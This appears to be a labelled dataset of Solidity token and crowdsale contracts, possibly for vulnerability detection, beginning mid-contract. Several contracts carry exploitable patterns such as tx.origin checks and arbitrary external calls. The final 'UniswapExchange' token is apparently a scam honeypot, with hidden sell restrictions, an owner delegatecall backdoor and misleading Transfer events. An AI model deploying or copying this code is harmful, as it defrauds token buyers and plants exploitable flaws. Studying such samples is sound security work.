uint256 public constant VESTING_2_DATE = 1568808000;
bool public vesting1Withdrawn = false;
bool public vesting2Withdrawn = false;
bool public crowdsaleCanceled = false;
uint256 public soldAmount;
uint256 public paidAmount;
function() payable {
require(!crowdsaleCanceled);
require(msg.value > 0);
require(block.timestamp >= START_DATE && block.timestamp <= END_DATE);
uint256 quantity = safeDiv(safeMul(msg.value, CROWDSALE_PRICE), 10**(18-uint256(decimals)));
require(safeSub(balances[this], quantity) >= 0);
require(MULTISIG_WALLET_ADDRESS.send(msg.value));
balances[this] = safeSub(balances[this], quantity);
balances[msg.sender] = safeAdd(balances[msg.sender], quantity);
soldAmount = safeAdd(soldAmount, quantity);
paidAmount = safeAdd(paidAmount, msg.value);
Transfer(this, msg.sender, quantity);
}
function closeCrowdsale() onlyOwner {
require(block.timestamp > END_DATE || crowdsaleCanceled || balances[this] == 0);
transferable = true;
if (balances[this] > 0) {
uint256 amount = balances[this];
balances[MULTISIG_WALLET_ADDRESS] = safeAdd(balances[MULTISIG_WALLET_ADDRESS], amount);
balances[this] = 0;
Transfer(this, MULTISIG_WALLET_ADDRESS, amount);
}
}
function cancelCrowdsale() onlyOwner {
crowdsaleCanceled = true;
}
function preAllocate(address _to, uint256 _value, uint256 _price) onlyOwner {
require(block.timestamp < START_DATE);
balances[this] = safeSub(balances[this], _value);
balances[_to] = safeAdd(balances[_to], _value);
soldAmount = safeAdd(soldAmount, _value);
paidAmount = safeAdd(paidAmount, _price);
Transfer(this, _to, _value);
}
function releaseVesting(address _destination) onlyOwner returns (bool success) {
if (block.timestamp > VESTING_1_DATE && vesting1Withdrawn == false) {
balances[LOCKED_ADDRESS] = safeSub(balances[LOCKED_ADDRESS], VESTING_1_AMOUNT);
balances[_destination] = safeAdd(balances[_destination], VESTING_1_AMOUNT);
vesting1Withdrawn = true;
Transfer(LOCKED_ADDRESS, _destination, VESTING_1_AMOUNT);
return true;
}
if (block.timestamp > VESTING_2_DATE && vesting2Withdrawn == false) {
balances[LOCKED_ADDRESS] = safeSub(balances[LOCKED_ADDRESS], VESTING_2_AMOUNT);
balances[_destination] = safeAdd(balances[_destination], VESTING_2_AMOUNT);
vesting2Withdrawn = true;
Transfer(LOCKED_ADDRESS, _destination, VESTING_2_AMOUNT);
return true;
}
return false;
}
function transferOtherERC20Token(address tokenAddress, uint256 amount)
onlyOwner returns (bool success)
{
require(tokenAddress != address(this) || transferable);
return ERC20(tokenAddress).transfer(owner, amount);
}
}
contract Gimli is GimliCrowdsale, Administrable {
address public streamerContract;
uint256 public streamerContractMaxAmount;
event StreamerContractChanged(address newContractAddress, uint256 newMaxAmount);
function Gimli() {
balances[MULTISIG_WALLET_ADDRESS] = safeAdd(balances[MULTISIG_WALLET_ADDRESS], TOTAL_SUPPLY - CROWDSALE_AMOUNT - VESTING_1_AMOUNT - VESTING_2_AMOUNT);
balances[this] = CROWDSALE_AMOUNT;
balances[LOCKED_ADDRESS] = VESTING_1_AMOUNT + VESTING_2_AMOUNT;
totalSupply = TOTAL_SUPPLY;
}
function setStreamerContract(
address _contractAddress,
uint256 _maxAmount) onlyAdministrator
{
require(_maxAmount == 0 || streamerContractMaxAmount == 0);
streamerContract = _contractAddress;
streamerContractMaxAmount = _maxAmount;
StreamerContractChanged(streamerContract, streamerContractMaxAmount);
}
function transferGIM(address _from, address _to, uint256 _amount) returns (bool success) {
require(msg.sender == streamerContract);
require(tx.origin == _from);
require(_amount <= streamerContractMaxAmount);
if (balances[_from] < _amount || _amount <= 0)
return false;
balances[_from] = safeSub(balances[_from], _amount);
balances[_to] = safeAdd(balances[_to], _amount);
Transfer(_from, _to, _amount);
return true;
}
} | 1 | 4,667 |
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract PostboyToken is ERC20 {
using SafeMath for uint256;
struct Account {
uint256 balance;
uint256 lastDividends;
}
string public constant name = "PostboyToken";
string public constant symbol = "PBY";
uint8 public constant decimals = 0;
uint256 public constant INITIAL_SUPPLY = 100000;
uint256 public totalDividends;
uint256 totalSupply_;
mapping (address => Account) accounts;
mapping (address => mapping (address => uint256)) internal allowed;
address public admin;
address public payer;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
totalDividends = 0;
accounts[msg.sender].balance = INITIAL_SUPPLY;
admin = msg.sender;
payer = address(0);
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return accounts[_owner].balance;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function dividendBalanceOf(address account) public view returns (uint256) {
uint256 newDividends = totalDividends.sub(accounts[account].lastDividends);
uint256 product = accounts[account].balance.mul(newDividends);
return product.div(totalSupply_);
}
function claimDividend() public {
uint256 owing = dividendBalanceOf(msg.sender);
if (owing > 0) {
accounts[msg.sender].lastDividends = totalDividends;
msg.sender.transfer(owing);
}
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != address(0));
require(_value <= accounts[_from].balance);
require(accounts[_to].balance + _value >= accounts[_to].balance);
uint256 fromOwing = dividendBalanceOf(_from);
uint256 toOwing = dividendBalanceOf(_to);
require(fromOwing <= 0 && toOwing <= 0);
accounts[_from].balance = accounts[_from].balance.sub(_value);
accounts[_to].balance = accounts[_to].balance.add(_value);
accounts[_to].lastDividends = accounts[_from].lastDividends;
emit Transfer(_from, _to, _value);
}
function changePayer(address _payer) public returns (bool) {
require(msg.sender == admin);
payer = _payer;
}
function sendDividends() public payable {
require(msg.sender == payer);
totalDividends = totalDividends.add(msg.value);
}
function () external payable {
require(false);
}
}
contract PostboyTokenMiddleware {
address public adminAddress_1;
address public adminAddress_2;
address public adminAddress_3;
PostboyToken public token;
modifier isAdmin() {
require(msg.sender == adminAddress_1 || msg.sender == adminAddress_2 || msg.sender == adminAddress_3);
_;
}
constructor(address admin_1, address admin_2, address admin_3, PostboyToken _token) public {
adminAddress_1 = admin_1;
adminAddress_2 = admin_2;
adminAddress_3 = admin_3;
token = _token;
}
function transferDividends() isAdmin public {
token.sendDividends.value(address(this).balance)();
}
function () external payable {
}
} | 0 | 627 |
pragma solidity ^0.4.17;
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function name() constant returns (string _name);
function symbol() constant returns (string _symbol);
function decimals() constant returns (uint8 _decimals);
function totalSupply() constant returns (uint256 _supply);
function transfer(address to, uint value) returns (bool ok);
function transfer(address to, uint value, bytes data) returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data){
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract SafeMath {
uint256 constant public MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x > MAX_UINT256 - y) throw;
return x + y;
}
function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (x < y) throw;
return x - y;
}
function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) {
if (y == 0) return 0;
if (x > MAX_UINT256 / y) throw;
return x * y;
}
}
contract TokenStorage{
function name() constant returns (string _name) {}
function symbol() constant returns (string _symbol) {}
function decimals() constant returns (uint8 _decimals) {}
function totalSupply() constant returns (uint48 _totalSupply) {}
function transfer(address _to, uint48 _value, bytes _data, string _custom_fallback) returns (bool success) {}
function transfer(address _to, uint48 _value, bytes _data) returns (bool success) {}
function transfer(address _to, uint48 _value) returns (bool success) {}
function isContract(address _addr) private returns (bool is_contract) {}
function transferToAddress(address _to, uint48 _value, bytes _data) private returns (bool success) {}
function transferToContract(address _to, uint48 _value, bytes _data) private returns (bool success) {}
function balanceOf(address _owner) constant returns (uint48 balance) {}
}
contract GameCoin is ERC223, SafeMath {
TokenStorage _s;
mapping(address => uint) balances;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
function name() constant returns (string _name) {
return name;
}
function symbol() constant returns (string _symbol) {
return symbol;
}
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
function GameCoin() {
_s = TokenStorage(0x9ff62629aec4436d03a84665acfb2a3195ca784b);
name = "GameCoin";
symbol = "GMC";
decimals = 2;
totalSupply = 25907002099;
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) throw;
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length>0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) throw;
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) throw;
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
if(balances[_owner] == 0){
return uint(_s.balanceOf(_owner));
}
else
{
return uint(balances[_owner]);
}
}
} | 1 | 3,783 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "GivingToServices";
string public constant TOKEN_SYMBOL = "SVCS";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x02dFf622C814247E4Ea4F16184D1Ece6f1021671;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x02dff622c814247e4ea4f16184d1ece6f1021671)];
uint[1] memory amounts = [uint(10000000000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 2,802 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 83 |
pragma solidity 0.4.24;
